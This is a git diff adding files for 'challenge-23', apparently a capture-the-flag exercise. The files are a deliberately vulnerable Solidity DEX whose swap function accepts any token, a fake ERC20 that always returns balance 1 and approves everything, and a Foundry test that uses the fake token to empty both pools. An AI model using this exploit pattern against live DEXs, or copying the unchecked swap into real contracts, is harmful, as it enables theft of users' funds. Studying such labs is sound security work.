diff --git a/src/challenge-23/DexTwo.sol b/src/challenge-23/DexTwo.sol new file mode 100644 index 0000000..62e5bcf --- /dev/null +++ b/src/challenge-23/DexTwo.sol @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/math/SafeMath.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract DexTwo is Ownable { + using SafeMath for uint256; + address public token1; + address public token2; + + constructor() public {} + + function setTokens(address _token1, address _token2) public onlyOwner { + token1 = _token1; + token2 = _token2; + } + + function add_liquidity(address token_address, uint256 amount) + public + onlyOwner + { + IERC20(token_address).transferFrom(msg.sender, address(this), amount); + } + + function swap( + address from, + address to, + uint256 amount + ) public { + require( + IERC20(from).balanceOf(msg.sender) >= amount, + "Not enough to swap" + ); + uint256 swapAmount = getSwapAmount(from, to, amount); + IERC20(from).transferFrom(msg.sender, address(this), amount); + IERC20(to).approve(address(this), swapAmount); + IERC20(to).transferFrom(address(this), msg.sender, swapAmount); + } + + function getSwapAmount( + address from, + address to, + uint256 amount + ) public view returns (uint256) { + return ((amount * IERC20(to).balanceOf(address(this))) / + IERC20(from).balanceOf(address(this))); + } + + function approve(address spender, uint256 amount) public { + SwappableTokenTwo(token1).approve(msg.sender, spender, amount); + SwappableTokenTwo(token2).approve(msg.sender, spender, amount); + } + + function balanceOf(address token, address account) + public + view + returns (uint256) + { + return IERC20(token).balanceOf(account); + } +} + +contract SwappableTokenTwo is ERC20 { + address private _dex; + + constructor( + address dexInstance, + string memory name, + string memory symbol, + uint256 initialSupply + ) public ERC20(name, symbol) { + _mint(msg.sender, initialSupply); + _dex = dexInstance; + } + + function approve( + address owner, + address spender, + uint256 amount + ) public returns (bool) { + require(owner != _dex, "InvalidApprover"); + super._approve(owner, spender, amount); + } +} diff --git a/src/challenge-23/FakeERC20.sol b/src/challenge-23/FakeERC20.sol new file mode 100644 index 0000000..78a57b5 --- /dev/null +++ b/src/challenge-23/FakeERC20.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.0; + +contract FakeERC20 { + function approve(address, uint256 amount) public returns (bool) { + return true; + } + + function balanceOf(address account) public returns (uint256) { + return 1; + } + + function transferFrom( + address spender, + address receiver, + uint256 amount + ) public returns (bool) { + return true; + } +} diff --git a/src/challenge-23/test/DexTwo.t.sol b/src/challenge-23/test/DexTwo.t.sol new file mode 100644 index 0000000..bc18a9b --- /dev/null +++ b/src/challenge-23/test/DexTwo.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.0; + +import "forge-std/Test.sol"; +import {DexTwo, SwappableTokenTwo} from "../DexTwo.sol"; +import {FakeERC20} from "../FakeERC20.sol"; + +contract ContractTest is Test { + DexTwo dex; + SwappableTokenTwo token0; + SwappableTokenTwo token1; + FakeERC20 fake; + + function test_challenge_23() public { + console.log("Challenge #23"); + + dex = new DexTwo(); + + token0 = new SwappableTokenTwo(address(dex), "ABC", "ABC", 1000); + token1 = new SwappableTokenTwo(address(dex), "XYZ", "XYZ", 1000); + fake = new FakeERC20(); + + dex.setTokens(address(token0), address(token1)); + dex.approve(address(dex), 100); + dex.add_liquidity(address(token0), 100); + dex.add_liquidity(address(token1), 100); + + token0.transfer(address(1337), 10); + token1.transfer(address(1337), 10); + + console.log(""); + console.log("dex token0 balance", token0.balanceOf(address(dex))); + console.log("dex token1 balance", token1.balanceOf(address(dex))); + + console.log(""); + console.log("1337 token0 balance", token0.balanceOf(address(1337))); + console.log("1337 token0 balance", token1.balanceOf(address(1337))); + + vm.startPrank(address(1337)); + + dex.approve(address(dex), 1000); + dex.swap(address(fake), address(token0), 1); + console.log(""); + logSwapPrice(); + dex.swap(address(fake), address(token1), 1); + logSwapPrice(); + + vm.stopPrank(); + + console.log("Token0 drained from dex!"); + console.log("Token1 drained from dex!"); + } + + function logSwapPrice() public { + console.log("-------------- SWAP -----------------"); + console.log("1337 token0 balance", token0.balanceOf(address(1337))); + console.log("1337 token1 balance", token1.balanceOf(address(1337))); + console.log("dex token0 balance", token0.balanceOf(address(dex))); + console.log("dex token1 balance", token1.balanceOf(address(dex))); + console.log(""); + } +}